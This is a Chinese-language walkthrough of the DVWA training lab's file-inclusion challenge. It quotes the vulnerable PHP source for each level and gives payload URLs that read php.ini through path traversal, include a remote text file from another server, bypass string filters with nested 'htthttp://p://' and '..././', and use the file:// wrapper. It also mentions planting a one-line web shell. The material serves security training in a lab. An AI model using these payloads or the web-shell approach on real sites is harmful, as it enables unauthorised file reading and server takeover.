就继续???
low
观察源码1
2
3
4
5
6
// The page we wish to display
$file = $_GET[ 'page' ];
没有任何过滤机制,尝试输入1
haha.php
暴露路径,构造url获取php.ini的信息(绝对路径)1
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=C:\phpStudy\PHPTutorial\WWW\dvwa\php.ini
构造url获取php.ini的信息(相对路径)1
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..\..\..\..\..\..\..\phpStudy\PHPTutorial\WWW\dvwa\php.ini
然后可以看出这里的allow_url_fopen和allow_url_include是on状态,于是我们可以在云端的服务器搭一个txt文件,切记不能使用php文件,因为php文件在这里将会被解析,1
2
3
4
5
phpinfo();
这里就获取了dvwa服务器的详细信息。
当然也可以使用一句话木马,用菜刀连上,然后获取webshell.
medium
观察源码,会发现,实际上这里就是加了一条过滤机制1
2
3
4
5
6
7
8
9
10
11
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
这里可以看到”http://“以及”https://“被过滤掉了,”../“和”..\”也同样被过滤掉了,但是,实际上这样的过滤机制是不够完善的,构造url为:1
?page=htthttp://p://192.168.182.136/test.txt
绕过成功
1 | ?page=..././..././..././..././..././..././..././..././..././phpStudy\PHPTutorial\WWW\dvwa\php.ini |
绕过成功
high
file://伪协议可以用于访问本地文件系统
这里挂上dvwa的high级别的靶场,用于作为例子1
2
3
4
5
6
7
8
9
10
11
12
13
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
fnmatch()函数匹配file开头的文件。
实际上这个过滤机制也不是最完美的,最好的WAF应该是将我们期待用户包含的文件给写死,也就是所谓的白名单过滤,如以下代码所至:1
2
3
4
5
6
7
8
9
10
11
12
13
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
所以在这里我们可以使用file://伪协议来进行绕过
payload如下:1
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://C:\phpStudy\PHPTutorial\WWW\dvwa\php.ini
如此我们就可以绕过WAF。